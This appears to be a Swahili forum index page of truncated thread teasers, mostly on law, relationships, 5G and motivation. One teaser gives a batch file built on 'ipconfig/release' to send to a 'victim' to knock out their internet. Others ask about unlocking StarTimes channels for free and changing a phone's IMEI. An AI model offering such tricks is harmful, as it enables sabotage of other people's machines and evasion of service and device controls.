Kwa anaejua jinsi ya kukifanya king'amuzi cha startime kionyeshe channel zote free atupe maujuzi maana huku mtaani kwetu kuna majamaa wanapita nyumba hadi nyumba kufanya iyo kitu kwa buku teni
Twende pamoja na Mimi
Je, ulishawahi kujiuliza kuwa kwanini kila mtoto mdogo anayezaliwa anakuwa amekunja ngumi? Hii ni kwasasabu HATIMA yake anayo mwenyewe.
Katika kulitambua hili Kuna Mambo ya msingi ya kufahamu:
1. Unaweza kukutana na Mambo magumu sana sana na ya kukatisha tamaa anayeweza...
Fungua Notepad kisha andika au copy and paste command ifuatayo:-
echo off
Ipconfig/release
Save as Tzhacker.bat unaweza ukasave kwa kutumia jina lolote ila cha muhimu ni .bat, (Something.bat)
Kisha mtumie mtu unaetaka kumuharibia internet ya computer yake (your victim), pindi atakapo lifungua...
matumaini yangu ni mzima wa afya..
Leo ntaelekeza ni namna gani unaweza ku-install window 7 kwenye simu yako ya mkononi, najua itakushangaza sana ila nirahisi mno.
kinachoitajika ni umakini wako tu katika kufuata hatua zifuatazo:
1. Download app hii Android windows, unaweza ukatumia browser...
Kubadili IMEI ya simu ni huduma unayoweza kuifanya kwenye simu ambazo ni rooted na ambazo hazija fanyiwa rooting.
Leo nitawaonyesha jinsi ya kubadili IMEI kwenye simu ambazo hazija fanyiwa root, ila inaweza kuleta madhara pindi utakapo kosea hatua ninazo onyesha hapa,so be careful.
Jinsi ya...
Kheri ya mwaka mpya na mafanikio mema ndugu zangu watanzania, kwa kuanza mwaka huu nimeona niwaletee makala hii ya shauri la MADAI maana mashauri ya MADAI ni moja ya mashauri yanayoongoza kuwa na mlundikano wa case nyingi mahakamani.
MADAI ni nini? Shauri la madai ni shauri linalofunguliwa na...
Katika jamii yetu ya Tanzania mpaka Sasa inakadiriwa watu wengine waishio mijini wanaishi katika nyumba za kupanga ,Hilo moja lkn kumewa na migogoro mingi Kati ya wamiliki (wapangishaji) na wapangaji lkn imeonekana wapangaji wengi wakidhurumiwa na kunyanyasika na kutokana na dhuruma za wenye...
Je, zakunafahamu uwezo wa 5G? Sifae n.k? Makala hii itakusaidia kuweza kuelewa kwa undani teknolojia ya 5G. Hii ni moja ya teknolojia muhimu na kubwa katika sekta ya mawasiliano katika mwaka huu na miaka inayoendelea.
5G ni moja ya teknolojia muhimu kwa maendeleo ya sekta nyingi kwa sasa. Ni...
1 Ulimi Wake
2 Na Mikono Yake
3 Na Miguu Yake
4 Na Macho Yake
[emoji257] MAANA YAKE
1 ULIMI WAKE UWE MFUPI
Maana Yake Asiwe Muongeaji Sana Na Kubwabwaja Maneno Ovyo Ovyo Kutoongea Sana Ni Sifa Ya Mwanamke Mzuri
2 MIKONO YAKE IWE MIFUPI
Yaani Hachukui Kile Ambacho Yuajua Kwamba Mumewe...
Wapenzi wawili walipendana sana tangu wakiwa shuleni na waliahidiana siku moja waje kuoana na kujenga familia
Baada ya kuhitimu masomo yao kijana alipata nafasi ya kwenda kusoma nje ya nchi.
Kabla hajaondoka kijana alisema "sijajaliwa kuwa na maneno mazuri sana ila ninachoweza kusema ni kwamba...
Kijana mmoja alitaka kumuoa mke wake ila alipingwa vikali na ndg wa familia wakisema kwamba huyo si mke wa kuoa, lakini mwanaume yule alisimamia misimamo wake ule ule na kusema kwamba" Mungu ameniambia kwamba huyu ndo changuo langu, huyu ndo msaada wangu na pia huyu ndo mke wangu, hivyo aliamua...
Kuna tofauti kubwa sana kati ya ndoa na mapenzi, watu wengi wanadhani kwamba kumpenda mtu ama wote wawili kupendana kunatosha kabisa kuingia katika ndoa la hasha.
Mapenzi ni hisia za ndani kabisa ya mtu kutokea kwa mtu mwingine wa jinsia tofauti na inaweza tokea ukapatwa na hisia hizo lakini...
Achana naye.. Unalala, haupati usingizi juu ya mtu ambae huenda amelala na mtu mwingine muda huu kwa amani tele.
Achana naye.
Unaangalia simu yako sasa hivi ukisubiri text ya mtu ambae unamuona yuko online anachati na mtu mwingine kwa furaha zote.. Achana nae!
Unaweka status za huzuni WhatsApp...
KIWANGO CHA MAJUKUMU ULIYONAYO KINAAMUA KIWANGO CHA BARAKA ZINAZOFUATANA NA WEWE
Labda nikurahisishie lugha:
Huenda una ajira yako na unalalamika kwamba yasingalikuwa majukumu huenda ungekuwa mbali kimaendeleo. Labda unasomesha ndugu zako, labda unauguza kwa muda mrefu, labda wengi...
JamiiForums uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
By continuing to use this site, you are consenting to our use of cookies.